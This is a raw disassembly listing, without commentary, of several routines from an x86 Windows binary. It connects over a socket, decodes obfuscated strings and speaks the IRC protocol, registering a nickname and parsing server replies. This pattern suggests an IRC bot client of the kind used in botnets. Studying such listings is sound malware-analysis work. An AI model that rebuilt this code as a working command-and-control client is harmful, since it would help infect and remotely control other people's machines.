sub_4038C8	proc near		; CODE XREF: sub_40386C+3Ep

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], eax
		xor	eax, eax
		mov	[ebp+var_C], 0
		lea	edi, [ebp+var_B]
		push	5
		lea	esi, [ebp+var_C]
		mov	ebx, offset asc_425458 ; "ÜÛÑÙ"
		stosd
		call	sub_401ACE
		mov	ebx, [ebp+var_10]
		pop	ecx
		add	ebx, 5
		call	sub_404844
		push	ebx
		mov	eax, esi
		push	eax
		push	offset aSS	; "%s %s\r\n"
		mov	edi, offset dword_426A3C
		call	sub_403ECA
		add	esp, 0Ch
		push	5
		mov	eax, esi
		push	0
		push	eax
		call	sub_40C6F0
		mov	ecx, [ebp+var_4]
		add	esp, 0Ch
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn	4
sub_4038C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40393C	proc near		; CODE XREF: sub_4049E1+447p

var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= byte ptr -44Ch
var_44B		= byte ptr -44Bh
var_448		= byte ptr -448h
var_447		= byte ptr -447h
var_441		= byte ptr -441h
var_440		= word ptr -440h
var_43E		= word ptr -43Eh
var_43C		= byte ptr -43Ch
var_430		= byte ptr -430h
var_42F		= byte ptr -42Fh
var_230		= byte ptr -230h
var_22F		= byte ptr -22Fh
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 45Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	0
		push	1
		mov	edi, ecx
		push	2
		mov	[ebp+var_454], edi
		mov	ebx, edx
		mov	[ebp+var_458], eax
		call	ds:dword_41E240	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[edi], eax
		jnz	short loc_403992
		push	eax
		call	ds:dword_41E244	; closesocket

loc_40397F:				; CODE XREF: sub_40393C+C5j
		xor	al, al

loc_403981:				; CODE XREF: sub_40393C+164j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn	8
; ---------------------------------------------------------------------------

loc_403992:				; CODE XREF: sub_40393C+3Aj
		push	1FFh
		lea	eax, [ebp+var_22F]
		push	0
		push	eax
		mov	[ebp+var_230], 0
		call	sub_40C6F0
		add	esp, 0Ch
		push	200h
		lea	esi, [ebp+var_230]
		call	sub_401ACE
		pop	ecx
		mov	eax, esi
		push	eax
		call	ds:dword_41E284	; gethostbyname
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_450], eax
		jnz	short loc_403A06
		push	dword ptr [edi]
		call	ds:dword_41E244	; closesocket
		push	4
		lea	eax, [ebp+var_450]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	10h
		lea	eax, [ebp+var_440]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		jmp	loc_40397F
; ---------------------------------------------------------------------------

loc_403A06:				; CODE XREF: sub_40393C+97j
		push	200h
		lea	eax, [ebp+var_230]
		push	ebx
		push	eax
		call	sub_40C6F0
		mov	eax, [ebp+var_450]
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		add	esp, 0Ch
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_43C]
		push	eax
		call	sub_40D820
		add	esp, 0Ch
		push	[ebp+arg_4]
		mov	[ebp+var_440], 2
		call	ds:dword_41E238	; htons
		mov	[ebp+var_43E], ax
		push	10h
		lea	eax, [ebp+var_440]
		push	eax
		push	dword ptr [edi]
		call	ds:dword_41E258	; connect
		test	eax, eax
		jz	short loc_403AA5
		push	dword ptr [edi]
		call	ds:dword_41E244	; closesocket
		mov	[ebp+var_441], bl

loc_403A76:				; CODE XREF: sub_40393C+33Cj
		push	4
		lea	eax, [ebp+var_450]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	10h
		lea	eax, [ebp+var_440]
		push	ebx
		push	eax
		call	sub_40C6F0
		mov	al, [ebp+var_441]
		add	esp, 0Ch
		jmp	loc_403981
; ---------------------------------------------------------------------------

loc_403AA5:				; CODE XREF: sub_40393C+12Aj
		push	[ebp+var_458]
		call	sub_40C500
		test	eax, eax
		pop	ecx
		jbe	loc_403B49
		xor	eax, eax
		mov	[ebp+var_30], bl
		lea	edi, [ebp+var_2F]
		stosd
		push	1FFh
		stosd
		lea	eax, [ebp+var_42F]
		push	ebx
		push	eax
		mov	[ebp+var_430], bl
		call	sub_40C6F0
		mov	ebx, [ebp+var_458]
		add	esp, 0Ch
		push	200h
		lea	esi, [ebp+var_430]
		call	sub_401ACE
		pop	ecx
		push	9
		lea	esi, [ebp+var_30]
		mov	ebx, offset asc_425461 ; "ÂÓÁÁ"
		call	sub_401ACE
		mov	edi, [ebp+var_454]
		pop	ecx
		lea	eax, [ebp+var_430]
		push	eax
		mov	eax, esi
		push	eax
		push	offset aSS	; "%s %s\r\n"
		call	sub_403ECA
		add	esp, 0Ch
		push	9
		mov	eax, esi
		push	0
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	200h
		lea	eax, [ebp+var_430]
		push	0
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		xor	ebx, ebx

loc_403B49:				; CODE XREF: sub_40393C+177j
		xor	eax, eax
		mov	[ebp+var_18], bl
		lea	edi, [ebp+var_17]
		stosd
		stosd
		xor	eax, eax
		mov	[ebp+var_24], bl
		lea	edi, [ebp+var_23]
		stosd
		stosd
		xor	eax, eax
		mov	[ebp+var_C], bl
		lea	edi, [ebp+var_B]
		stosd
		stosw
		xor	eax, eax
		mov	[ebp+var_448], bl
		lea	edi, [ebp+var_447]
		stosw
		push	3
		mov	[ebp+var_44C], bl
		lea	edi, [ebp+var_44B]
		pop	esi
		stosw
		mov	ecx, esi
		lea	edi, [ebp+var_448]
		call	sub_402AAB
		lea	eax, [ebp+var_44C]
		push	esi
		push	eax
		call	sub_402B8C
		push	7
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 14h
		lea	eax, [ebp+var_44C]
		push	eax
		mov	eax, edi
		push	eax
		push	offset aSS_0	; "%s-%s"
		lea	eax, [ebp+var_C]
		push	6
		push	eax
		call	sub_40C634
		lea	eax, [ebp+var_C]
		add	esp, 14h
		push	eax
		call	sub_40C500
		pop	ecx
		push	esi
		mov	[ebp+eax+var_C], bl
		mov	eax, edi
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_44C]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	9
		lea	esi, [ebp+var_18]
		mov	ebx, offset asc_425458 ; "ÜÛÑÙ"
		call	sub_401ACE
		pop	ecx
		push	9
		lea	esi, [ebp+var_24]
		mov	ebx, offset asc_42546A ; "ÇÁ×À"
		call	sub_401ACE
		mov	edi, [ebp+var_454]
		pop	ecx
		lea	ebx, [edi+5]
		call	sub_404844
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		mov	eax, esi
		push	eax
		push	ebx
		lea	eax, [ebp+var_18]
		push	eax
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		call	sub_403ECA
		push	7
		xor	esi, esi
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_40C6F0
		add	esp, 24h
		push	9
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	9
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		mov	[ebp+var_441], 1
		xor	ebx, ebx
		jmp	loc_403A76
sub_40393C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C7D	proc near		; CODE XREF: sub_4049E1+459p

var_20418	= dword	ptr -20418h
var_20414	= dword	ptr -20414h
var_20410	= dword	ptr -20410h
var_2040C	= dword	ptr -2040Ch
var_20408	= byte ptr -20408h
var_408		= byte ptr -408h
var_407		= byte ptr -407h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 2041Ch
		call	sub_41AF10
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		push	edi
		mov	esi, 3FFh
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_407]
		mov	edi, ecx
		push	ebx
		push	eax
		mov	[ebp+var_20418], edi
		mov	[ebp+var_408], bl
		call	sub_40C6F0
		add	esp, 0Ch
		push	ebx
		push	esi
		lea	eax, [ebp+var_408]
		push	eax
		push	dword ptr [edi]
		mov	[ebp+var_2040C], ebx
		call	ds:dword_41E23C	; recv
		test	eax, eax
		jz	loc_403D9B
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_40C500
		pop	ecx
		mov	[ebp+eax+var_408], bl
		mov	esi, offset asc_4203BC ; "\r\n"
		lea	eax, [ebp+var_408]
		push	esi
		push	eax
		call	sub_40D75E
		push	20000h
		mov	[ebp+var_20414], eax
		lea	eax, [ebp+var_20408]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 14h
		cmp	[ebp+var_20414], ebx
		mov	edi, 200h
		jz	short loc_403D71
		lea	eax, [ebp+var_20408]
		mov	[ebp+var_20410], eax

loc_403D36:				; CODE XREF: sub_403C7D+F2j
		push	[ebp+var_20414]
		push	offset aS	; "%s"
		push	1FFh
		push	[ebp+var_20410]
		call	sub_40C634
		push	esi
		push	ebx
		call	sub_40D75E
		add	[ebp+var_20410], edi
		add	esp, 18h
		inc	[ebp+var_2040C]
		cmp	eax, ebx
		mov	[ebp+var_20414], eax
		jnz	short loc_403D36

loc_403D71:				; CODE XREF: sub_403C7D+ABj
		cmp	[ebp+var_2040C], ebx
		jle	short loc_403D97
		mov	ebx, [ebp+var_2040C]
		lea	esi, [ebp+var_20408]

loc_403D85:				; CODE XREF: sub_403C7D+118j
		push	[ebp+var_20418]
		mov	ecx, esi
		call	sub_403F55
		add	esi, edi
		dec	ebx
		jnz	short loc_403D85

loc_403D97:				; CODE XREF: sub_403C7D+FAj
		mov	al, 1
		jmp	short loc_403DA5
; ---------------------------------------------------------------------------

loc_403D9B:				; CODE XREF: sub_403C7D+59j
		push	dword ptr [edi]
		call	ds:dword_41E244	; closesocket
		xor	al, al

loc_403DA5:				; CODE XREF: sub_403C7D+11Cj
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn
sub_403C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DB4	proc near		; CODE XREF: sub_401000+38Bp
					; sub_403249+469p ...

var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_403		= byte ptr -403h
var_204		= byte ptr -204h
var_203		= byte ptr -203h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	[ebp+var_408], eax
		mov	eax, [ebp+arg_8]
		mov	edi, 1FFh
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_40C], eax
		lea	eax, [ebp+var_203]
		push	ebx
		push	eax
		mov	[ebp+var_204], bl
		call	sub_40C6F0
		push	edi
		lea	eax, [ebp+var_403]
		push	ebx
		push	eax
		mov	[ebp+var_404], bl
		call	sub_40C6F0
		add	esp, 18h
		cmp	[ebp+arg_4], 1
		jz	loc_403EBC
		push	esi
		push	0Dh
		call	sub_40AA82
		mov	esi, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		call	sub_40D1C9
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_40C500
		push	esi
		mov	[ebp+eax+var_404], bl
		call	sub_40C58B
		push	eax
		mov	ebx, offset asc_4254A0 ; "ÂÀÛÄßÁÕ"
		call	sub_401ACE
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_40C]
		lea	eax, [ebp+var_204]
		push	esi
		push	offset aSSS	; "%s %s %s\r\n"
		push	edi
		push	eax
		call	sub_40C634
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40C500
		push	esi
		mov	[ebp+eax+var_204], 0
		call	sub_40C76A
		add	esp, 40h
		lea	eax, [ebp+var_204]
		push	0
		push	eax
		call	sub_40C500
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		mov	eax, [ebp+var_408]
		push	dword ptr [eax]
		call	ds:dword_41E248	; send
		pop	esi

loc_403EBC:				; CODE XREF: sub_403DB4+5Dj
		mov	ecx, [ebp+var_4]
		pop	edi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn
sub_403DB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403ECA	proc near		; CODE XREF: sub_402833+171p
					; sub_4038C8+4Cp ...

var_204		= byte ptr -204h
var_203		= byte ptr -203h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	esi
		mov	esi, 1FFh
		push	esi
		lea	eax, [ebp+var_203]
		push	0
		push	eax
		mov	[ebp+var_204], 0
		call	sub_40C6F0
		lea	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		call	sub_40D1C9
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40C500
		add	esp, 20h
		mov	[ebp+eax+var_204], 0
		lea	eax, [ebp+var_204]
		push	0
		push	eax
		call	sub_40C500
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		push	dword ptr [edi]
		call	ds:dword_41E248	; send
		mov	ecx, [ebp+var_4]
		test	eax, eax
		setnz	al
		xor	ecx, ebp
		pop	esi
		call	sub_40AB4A
		leave
		retn
sub_403ECA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F55	proc near		; CODE XREF: sub_403C7D+110p

var_10F34	= dword	ptr -10F34h
var_10734	= dword	ptr -10734h
var_10730	= dword	ptr -10730h
var_1072C	= byte ptr -1072Ch
var_1062C	= byte ptr -1062Ch
var_1052C	= byte ptr -1052Ch
var_1042C	= byte ptr -1042Ch
var_72C		= byte ptr -72Ch
var_72B		= byte ptr -72Bh
var_62C		= byte ptr -62Ch
var_62B		= byte ptr -62Bh
var_62A		= byte ptr -62Ah
var_42C		= byte ptr -42Ch
var_42B		= byte ptr -42Bh
var_32C		= byte ptr -32Ch
var_32B		= byte ptr -32Bh
var_22C		= byte ptr -22Ch
var_22B		= byte ptr -22Bh
var_1AC		= byte ptr -1ACh
var_1AB		= byte ptr -1ABh
var_A8		= byte ptr -0A8h
var_A7		= byte ptr -0A7h
var_78		= byte ptr -78h
var_77		= byte ptr -77h
var_54		= byte ptr -54h
var_53		= byte ptr -53h
var_44		= byte ptr -44h
var_43		= byte ptr -43h
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10F38h
		call	sub_41AF10
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, 1FFh
		xor	ebx, ebx
		push	esi
		mov	[ebp+var_10734], eax
		lea	eax, [ebp+var_62B]
		mov	edi, ecx
		push	ebx
		push	eax
		mov	[ebp+var_10730], edi
		mov	[ebp+var_62C], bl
		call	sub_40C6F0
		add	esp, 0Ch
		push	edi
		mov	edi, offset aS	; "%s"
		push	edi
		lea	eax, [ebp+var_62C]
		push	esi
		push	eax
		call	sub_40C634
		lea	eax, [ebp+var_62C]
		push	eax
		call	sub_40C500
		add	esp, 14h
		mov	[ebp+eax+var_62C], bl
		lea	eax, [ebp+var_62C]
		push	offset asc_420400 ; " :"
		push	eax
		call	sub_40D500
		push	eax
		push	edi
		lea	eax, [ebp+var_62C]
		push	esi
		push	eax
		call	sub_40C634
		lea	eax, [ebp+var_62C]
		push	eax
		call	sub_40C500
		mov	[ebp+eax+var_62C], bl
		lea	eax, [ebp+var_62C]
		add	esp, 1Ch
		push	eax
		call	sub_40C500
		pop	ecx
		push	eax
		lea	eax, [ebp+var_62A]
		push	eax
		lea	eax, [ebp+var_62C]
		push	eax
		call	sub_40CC90
		add	esp, 0Ch
		mov	esi, offset asc_4202A4 ; " "
		push	esi
		push	[ebp+var_10730]
		call	sub_40D75E
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_404093
		mov	[ebp+var_10730], ebx

loc_40403F:				; CODE XREF: sub_403F55+13Cj
		mov	ecx, [ebp+var_10730]
		push	eax
		push	edi
		lea	ecx, [ebp+ecx+var_1072C]
		push	0FFh
		push	ecx
		call	sub_40C634
		mov	eax, [ebp+var_10730]
		lea	eax, [ebp+eax+var_1072C]
		push	eax
		call	sub_40C500
		add	eax, [ebp+var_10730]
		add	esp, 14h
		push	esi
		push	ebx
		mov	[ebp+eax+var_1072C], bl
		call	sub_40D75E
		add	[ebp+var_10730], 100h
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jnz	short loc_40403F

loc_404093:				; CODE XREF: sub_403F55+E2j
		xor	eax, eax
		mov	[ebp+var_38], bl
		lea	edi, [ebp+var_37]
		stosd
		stosd
		xor	eax, eax
		mov	[ebp+var_44], bl
		lea	edi, [ebp+var_43]
		stosd
		stosd
		xor	eax, eax
		mov	[ebp+var_54], bl
		lea	edi, [ebp+var_53]
		stosd
		stosd
		stosd
		xor	eax, eax
		mov	[ebp+var_2C], bl
		lea	edi, [ebp+var_2B]
		stosd
		push	0FFh
		stosd
		lea	eax, [ebp+var_32B]
		push	ebx
		push	eax
		mov	[ebp+var_32C], bl
		call	sub_40C6F0
		add	esp, 0Ch
		push	2Fh
		lea	eax, [ebp+var_A7]
		push	ebx
		push	eax
		mov	[ebp+var_A8], bl
		call	sub_40C6F0
		xor	eax, eax
		mov	[ebp+var_14], bl
		lea	edi, [ebp+var_13]
		stosd
		stosd
		xor	eax, eax
		mov	[ebp+var_20], bl
		lea	edi, [ebp+var_1F]
		stosd
		add	esp, 0Ch
		push	7Fh
		stosd
		lea	eax, [ebp+var_22B]
		push	ebx
		push	eax
		mov	[ebp+var_22C], bl
		call	sub_40C6F0
		add	esp, 0Ch
		push	9
		lea	esi, [ebp+var_38]
		mov	ebx, offset asc_425473 ; "ÂÛÜÕ"
		call	sub_401ACE
		pop	ecx
		push	9
		lea	esi, [ebp+var_44]
		mov	ebx, offset asc_425485 ; "ÙÛÑÙ"
		call	sub_401ACE
		pop	ecx
		push	0Dh
		lea	esi, [ebp+var_54]
		mov	ebx, offset asc_4254A0 ; "ÂÀÛÄßÁÕ"
		call	sub_401ACE
		pop	ecx
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1072C]
		push	eax
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4041AC
		push	9
		lea	esi, [ebp+var_2C]
		mov	ebx, offset asc_42547C ; "ÂÝÜÕ"
		call	sub_401ACE
		mov	edi, [ebp+var_10734]
		pop	ecx
		lea	eax, [ebp+var_1062C]
		push	eax
		mov	eax, esi
		push	eax
		push	offset aSS	; "%s %s\r\n"
		call	sub_403ECA
		add	esp, 0Ch
		test	al, al
		jnz	short loc_404199

loc_404192:				; CODE XREF: sub_403F55+322j
		xor	al, al
		jmp	loc_4046AB
; ---------------------------------------------------------------------------

loc_404199:				; CODE XREF: sub_403F55+23Bj
		push	9
		xor	ebx, ebx
		lea	eax, [ebp+var_2C]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		jmp	short loc_4041AE
; ---------------------------------------------------------------------------

loc_4041AC:				; CODE XREF: sub_403F55+20Aj
		xor	ebx, ebx

loc_4041AE:				; CODE XREF: sub_403F55+255j
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_1062C]
		push	eax
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4042B1
		push	100h
		lea	esi, [ebp+var_32C]
		mov	ebx, offset asc_424FE0 ; "±±ÆÀÔÙ"
		call	sub_401ACE
		pop	ecx
		mov	eax, esi
		push	eax
		lea	eax, [ebp+var_1052C]
		push	eax
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40428C
		push	9
		lea	esi, [ebp+var_14]
		mov	ebx, offset asc_42548E ; "ØÝÛÜ"
		call	sub_401ACE
		pop	ecx
		push	30h
		lea	esi, [ebp+var_A8]
		mov	ebx, offset dword_424FF8
		call	sub_401ACE
		mov	edi, [ebp+var_10734]
		pop	ecx
		mov	eax, esi
		push	eax
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	offset aSSS	; "%s %s %s\r\n"
		call	sub_403ECA
		add	esp, 10h
		test	al, al
		jnz	short loc_40427C
		push	100h
		xor	esi, esi
		lea	eax, [ebp+var_32C]
		push	esi
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	30h
		lea	eax, [ebp+var_A8]
		push	esi
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	9
		lea	eax, [ebp+var_14]

loc_40426D:				; CODE XREF: sub_403F55+45Dj
		push	esi
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		jmp	loc_404192
; ---------------------------------------------------------------------------

loc_40427C:				; CODE XREF: sub_403F55+2E8j
		push	9
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch

loc_40428C:				; CODE XREF: sub_403F55+29Cj
		push	100h
		lea	eax, [ebp+var_32C]
		push	0
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	30h
		push	0
		lea	eax, [ebp+var_A8]
		jmp	loc_404671
; ---------------------------------------------------------------------------

loc_4042B1:				; CODE XREF: sub_403F55+26Dj
		lea	eax, [ebp+var_1062C]
		push	offset a001	; "001"
		push	eax
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_404405
		push	9
		lea	esi, [ebp+var_14]
		mov	ebx, offset asc_42548E ; "ØÝÛÜ"
		call	sub_401ACE
		pop	ecx
		push	9
		lea	esi, [ebp+var_20]
		mov	ebx, offset asc_425497 ; "ßÝÖ×"
		call	sub_401ACE
		lea	esi, [ebp+var_32C]
		mov	ebx, offset asc_424FE0 ; "±±ÆÀÔÙ"
		mov	[esp+10h+var_10], 100h
		call	sub_401ACE
		pop	ecx
		push	30h
		lea	esi, [ebp+var_A8]
		mov	ebx, offset dword_424FF8
		call	sub_401ACE
		pop	ecx
		push	80h
		lea	esi, [ebp+var_22C]
		mov	ebx, offset byte_425011
		call	sub_401ACE
		mov	edi, [ebp+var_10734]
		pop	ecx
		lea	eax, [ebp+var_A8]
		push	eax
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, esi
		push	eax
		lea	eax, [edi+5]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	offset aSSSSSS	; "%s %s %s\r\n%s %s %s\r\n"
		call	sub_403ECA
		add	esp, 1Ch
		push	9
		xor	esi, esi
		test	al, al
		push	esi
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_4043B7
		call	sub_40C6F0
		add	esp, 0Ch
		push	100h
		lea	eax, [ebp+var_32C]
		push	esi
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	30h
		lea	eax, [ebp+var_A8]
		push	esi
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	9
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	80h
		lea	eax, [ebp+var_22C]
		jmp	loc_40426D
; ---------------------------------------------------------------------------

loc_4043B7:				; CODE XREF: sub_403F55+412j
		call	sub_40C6F0
		add	esp, 0Ch
		push	100h
		lea	eax, [ebp+var_32C]
		push	esi
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	30h
		lea	eax, [ebp+var_A8]
		push	esi
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	9
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	80h
		lea	eax, [ebp+var_22C]
		jmp	loc_404670
; ---------------------------------------------------------------------------

loc_404405:				; CODE XREF: sub_403F55+371j
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_1062C]
		push	eax
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_404436
		lea	eax, [ebp+var_1062C]
		push	offset a332	; "332"
		push	eax
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40467C

loc_404436:				; CODE XREF: sub_403F55+4C4j
		push	8
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_78], bl
		lea	edi, [ebp+var_77]
		rep stosd
		mov	esi, 0FFh
		push	esi
		stosw
		lea	eax, [ebp+var_1AB]
		push	ebx
		push	eax
		mov	byte ptr [ebp+var_10730], bl
		mov	[ebp+var_1AC], bl
		call	sub_40C6F0
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_42B]
		push	ebx
		push	eax
		mov	[ebp+var_42C], bl
		call	sub_40C6F0
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_72B]
		push	ebx
		push	eax
		mov	[ebp+var_72C], bl
		call	sub_40C6F0
		add	esp, 0Ch
		lea	eax, [ebp+var_1072C]
		push	offset asc_420400 ; " :"
		push	eax
		call	sub_40D75E
		push	eax
		mov	edi, offset aS	; "%s"
		push	edi
		lea	eax, [ebp+var_42C]
		push	esi
		push	eax
		call	sub_40C634
		lea	eax, [ebp+var_42C]
		push	eax
		call	sub_40C500
		add	esp, 1Ch
		mov	[ebp+eax+var_42C], bl
		lea	eax, [ebp+var_1072C]
		push	offset asc_420424 ; "!"
		push	eax
		call	sub_40D75E
		push	eax
		push	edi
		lea	eax, [ebp+var_78]
		push	22h
		push	eax
		call	sub_40C634
		lea	eax, [ebp+var_78]
		push	eax
		call	sub_40C500
		mov	[ebp+eax+var_78], bl
		lea	eax, [ebp+var_78]
		add	esp, 1Ch
		push	eax
		call	sub_40C500
		pop	ecx
		push	eax
		lea	eax, [ebp+var_77]
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		call	sub_40CC90
		add	esp, 0Ch
		lea	eax, [ebp+var_1062C]
		push	offset a332	; "332"
		push	eax
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40455A
		lea	eax, [ebp+var_1042C]
		push	eax
		push	edi
		lea	eax, [ebp+var_1AC]
		push	esi
		push	eax
		call	sub_40C634
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40C500
		mov	byte ptr [ebp+var_10730], 1
		jmp	short loc_40459A
; ---------------------------------------------------------------------------

loc_40455A:				; CODE XREF: sub_403F55+5D9j
		mov	eax, [ebp+var_10734]
		add	eax, 5
		push	eax
		lea	eax, [ebp+var_1052C]
		push	eax
		call	sub_40CDC0
		pop	ecx
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_78]
		jz	short loc_40457F
		lea	eax, [ebp+var_1052C]

loc_40457F:				; CODE XREF: sub_403F55+622j
		push	eax
		push	edi
		lea	eax, [ebp+var_1AC]
		push	esi
		push	eax
		call	sub_40C634
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40C500

loc_40459A:				; CODE XREF: sub_403F55+603j
		add	esp, 14h
		mov	[ebp+eax+var_1AC], bl
		mov	edi, 100h
		push	edi
		lea	esi, [ebp+var_72C]
		mov	ebx, offset byte_425049
		call	sub_401ACE
		pop	ecx
		lea	eax, [ebp+var_42C]
		mov	ecx, esi
		call	sub_4029B4
		test	eax, eax
		jnz	short loc_4045D4
		cmp	byte ptr [ebp+var_10730], al
		jz	short loc_404635

loc_4045D4:				; CODE XREF: sub_403F55+675j
		mov	esi, offset asc_420428 ; ";"
		lea	eax, [ebp+var_62C]
		push	esi
		push	eax
		xor	ebx, ebx
		call	sub_40D75E
		jmp	short loc_4045FA
